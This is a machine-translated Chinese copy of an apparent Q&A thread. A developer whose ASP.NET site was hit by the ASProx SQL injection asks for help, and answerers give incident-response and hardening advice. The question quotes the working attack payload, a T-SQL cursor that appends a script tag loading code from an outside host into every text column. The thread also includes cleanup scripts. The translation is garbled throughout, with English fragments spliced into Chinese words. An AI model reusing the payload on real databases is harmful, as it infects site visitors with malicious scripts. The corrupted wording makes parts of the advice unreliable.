帮帮我! 生产数据库是SQL注入!

可能重复:
我的服务器被黑了应急

Geeze,我很绝望! 几个小时前我们的生产数据库是SQL注入。

我知道我们在系统中有一些大的漏洞,因为我们inheritance了一个经典的ASP的网站,他的编程非常糟糕,没有安全感。 所以我们花了一些时间把它迁移到ASP.NET(第一个1.1,然后是2.0,现在是3.5)。 但是这是一个很大的项目,还有一些老的和不安全的代码。 我不会说谎,项目是一团糟,我讨厌它,但这是我们最重要的客户(我们只有2个年轻人,而不是一个大公司)。

所以我知道他们已经注入了一些js脚本引用到我的整个数据库……这可能是通过一个旧的页面使用连接的stringSQL查询,并直接扔到数据库(因为启动该项目的人说:“存储过程doesn不工作“…..所以他做了整个网站使用string连接,并直接扔到SQL没有做任何安全validation或任何东西。

当我们得到这个项目时,客户不想花时间重做那个老家伙的废话。 所以我们不得不导致蹩脚的和不安全的代码,并在开发新function时修复它,因为这是客户想要的…现在我们已经注入了sql,他们当然会变得疯狂。

所以….

**是否有任何方法来检查在过去的X小时内执行的旧的SQL查询? 就像SQL Profiler所做的那样(但当然我们没有在发生攻击时打开剖析器)? 有没有办法找出哪个页面是脆弱的? 请帮忙,有很多页面。 我不能手动search那些不知道哪一个是页面。

另外…可以有另一种方式,他们可以注入数据库? 像使用IIS请求或JS或什么?**

我有完整的远程桌面访问服务器的机器(它不是在托pipe环境),所以我可以访问每个文件,日志,无论在服务器上…

请帮忙!

PS:对不起,我的英文不是很好,现在更糟的是我很紧张!

编辑

  • Windows 2003 Server
  • SQL SERVER 2005
  • ASP .NET 3.5

他们正在投掷的脚本是以下

DECLARE @S NVARCHAR(4000);SET @S=CAST( AS NVARCHAR(4000));EXEC @S; 

翻译成文本的是:

 DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' + @C + '])) + ''<script src=http://f1y.in/j.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

首先要做的不是恐慌。 但是我看到你跳过了,并决定

第二件事就是把这个网站放下来,并确保它不能从外面访问,直到你能弄清楚什么是坏的。 开始查看访问日志,并试图找出主要问题是什么。

第三件事就是看你是否经常备份数据库,然后回滚。 你可能会失去一些数据 – 但是你会比现在好点

第四件事是 – 不要 – 给出的url,因为它显然是不安全的

一定要确保安装最新版本的UrlScan – 它是非常devise,踩踏这种攻击。

如果你有IIS日志,入口点应该是非常明显的 – 寻找黑客攻击的目标。

另一个好的支持,如果可能的话,就是拒绝对Web用户帐户的INSERT和UPDATE权限,而是通过存储过程来取代。 当这是一个零日攻击时,这种支持使我们避免了类似的遗留应用程序的类似问题。

我认为你也可以删除PUBLIC用户扫描表的权利,这将防止他们进行“foreach table”风格的攻击。

作为参考点,这是ASPRox机器人SQL注入攻击的工作。 这似乎表明它自己现在,然后因为它发现被感染系统时相当病毒。 你可以谷歌周围的“ASPRox机器人”,并获得一些额外的清洗方法和进一步的预防治疗。 我刚刚发现这个PDF文件,其中有一个很好的概述其战术和一些清理选项的链接。

问题是,病毒/注入模型基本上把所有的数据库表中的每一个文本字段,并放在一个小片段,呼吁指定的URL试图感染任何其他的Web客户端,并试图让他们僵尸访问您的网站。

因此,请确保检查有问题的服务器上的所有数据库,而不仅仅是涉及数据库的数据库才能进行适当的清理。

看来你在这里的build议正确的道路上,但有一些“正式”的病毒名称引用可能有助于额外的需求。

首先,你必须closures网站,以防止进一步的注射攻击。

其次,您需要进行安全审计,确定您拥有哪些日志logging,以及系统上的安全性,并确定攻击者的入侵方式。

第三,您至less需要为那些受到威胁的地区设置日志和安全措施。 build立一个检测入侵的系统,立即通知你(如传呼机)。

第四,告知pipe理层,停工是他们忽视安全的结果。

检查你的IIS日志,找出他们用来进行注入的页面。 不用说,您需要快速修复或禁用该页面。

最好的方法取决于网站的types。 如果可能的话, 把网站closures,直到你恢复了一个没有被污染的数据库,或者颠倒了那些需要详细日志的更改。 然后,您可以将该网站恢复为只读模式,直到您有时间解决问题。 只要将SQL帐户限制为仅SELECT。

即使当你连接查询string,你可以相当安全,不费吹灰之力。 search所有ASP文件中的关键字如SELECT和UPDATE将会显示所有的查询。 围绕你所有的参数进行基本的理智检查。

由于您可能匆忙,你可以看看我的一些非常古老的ASP VBScript代码。 有一堆SafeSqlWin那里有什么function来帮助你build立安全的SQL语句。 没有保证,它从来没有打算公开。 但是,用SqlVar(someValue)函数replace所有的variablesinput应该让你开始。 您需要从查询string的其余部分删除单引号,就像SqlVar为您添加它们一样。 或者,使用特定于您所期望的值types的函数:

之前:

 Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id) 

后:

 Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id)) 

PS:不,这不是它应该的方式,但可能是最快从现在的位置恢复正常工作。

试着回答关于跟踪查询的原始问题,但是从另一个方向来看,如果服务器没有被重置,从查询caching中取出所有的查询,显示哪个查询是运行的 – 假设它是仍然在caching中。

 SELECT ( SUBSTRING(s2.text, (statement_start_offset / 2) + 1, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2) ELSE statement_end_offset END)- statement_start_offset)/2)) AS sql_statement ,execution_count ,(total_worker_time / 1000) as total_worker_time_milli_s ,(last_worker_time / 1000) as last_worker_time_milli_s ,((total_worker_time / execution_count) / 1000) as average_worker_time_milli_s ,min_worker_time ,max_worker_time ,last_execution_time ,qp.query_plan FROM sys.dm_exec_query_stats qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2 CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) as qp WHERE s2.objectid is null ORDER BY total_worker_time desc 

如果您打开日志logging,IIS可能会有一些日志,可能会提示您访问了哪些页面。 您可以检查网站的configuration。

我首先要确保应用程序的sql用户默认只有读权限。 将插入/更新/删除访问权限仅添加到需要的表中。

你需要从数据库中删除.js引用吗? 我们之前使用这个脚本来删除所有表的所有.js引用。 是一个全局查找/replace数据库。 input.js参考,你会看到这个:在这里放置PLACE BAD JAVA SCRIPT CODE HERE

 DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor1 FETCH NEXT FROM Table_Cursor1 INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('SELECT [' + @C + '] FROM [' + @T + '] WHERE [' + @C + '] LIKE ''%.js%'' ') FETCH NEXT FROM Table_Cursor1 INTO @T,@C END CLOSE Table_Cursor1 DEALLOCATE Table_Cursor1 DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''PLACE BAD JAVA SCRIPT CODE HERE'','''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

通常发生的事情是,黑客(通常是一个机器人)执行谷歌search什么看起来像SQL注入的入口点(寻找querystrings,通过search,说“inurl:.aspx?”或“inurl:? ID =“)。 然后自动testing注入漏洞。 如果你想find入口点,可能是一个好主意,提供类似的查询谷歌,看看你的索引什么查询string。

继续,这些脚本通常希望执行脚本可以访问sysobjects,在这种情况下,它可以遍历数据库中的所有表,并将其注入到每一列中。 如果发生了这种情况(我想,否则注入漏洞可以简单地被认为是注入代码的地方),我写了一个脚本,一样的事情,search整个数据库的一个给定的值。 它可以在这里find:

 http://pastebay.com/28400 

如果你没有任何备份(我用你有些绝望的语气假设),那么这个脚本可以用来定位所有注入的列,只需稍作修改,也可以用来去除这些注入。

非常重要的是恢复环境。 之后是确保它不会再发生的任务。 你不是那么着急,注射你的人可能会随机打你,不可能很快再试一次,但是要从中吸取教训,使之成为优先考虑的问题。

至于确保网站的安全,我已经提到了谷歌提供漏洞的提示方式,但实际上,这是关于如何将您的sql查询一一移动到存储过程,或者OR / M,或者其他的东西。 一旦你完成了这一点,你将很快整理你的杂乱来源。

如果您知道存在漏洞,您绝对应该考虑使用Web应用防火墙 ,该防火墙是在您的Web服务器前运行的filter,以防止恶意input和已知攻击到达您的应用程序/数据库。 这样,您可以在不重写和检查旧版应用程序的情况下提高安全性。

这不是一个完美的解决scheme,但是在特定的情况下,这将是快速补救更大量的安全漏洞的一种方法。

  1. 不要惊慌。
  2. 把网站进行维护。
  3. 反向应用的SQL注入。
  4. 修复这个问题
  5. 把网站重新在线。

我不知道是否有可能,但是你没有提供知识丰富的人需要帮助的细节。

  • 你的数据库引擎是什么? (包括版本号)
  • 什么是您的networking服务器? (据推测IIS,但是什么版本?)
  • 你最喜欢什么… nvm

但是你的堆栈的具体应用和版本号会把这个问题变成一个有人可能会回答的问题。

标准SQL中没有任何东西可以为您提供这些信息,所以您正在寻找特定的供应商扩展或pipe理工具。

这是困难的一个。 为了搞清楚什么是攻击,以及它可能做了什么,我会看你的IIS日志,而不是SQL。 根据攻击情况,IIS日志可能会精确地显示sql注入是什么。

如果没有,我会立即把IIS日志logging(和SQL日志logging,以及任何其他日志logging)尽可能高。 攻击者可能还在徘徊,你想跟踪他在做什么,并尽快closures他的接入点。

祝你好运!

让你的网站下来,再次开始工作一件事。 一旦妥协,进入你的系统将是小菜一碟。

任何兼职解决scheme将在未来变得更糟糕。

您还需要假设这个黑客现在拥有数据库中所有数据的副本。 如果包含个人信息,则应通知相关人员。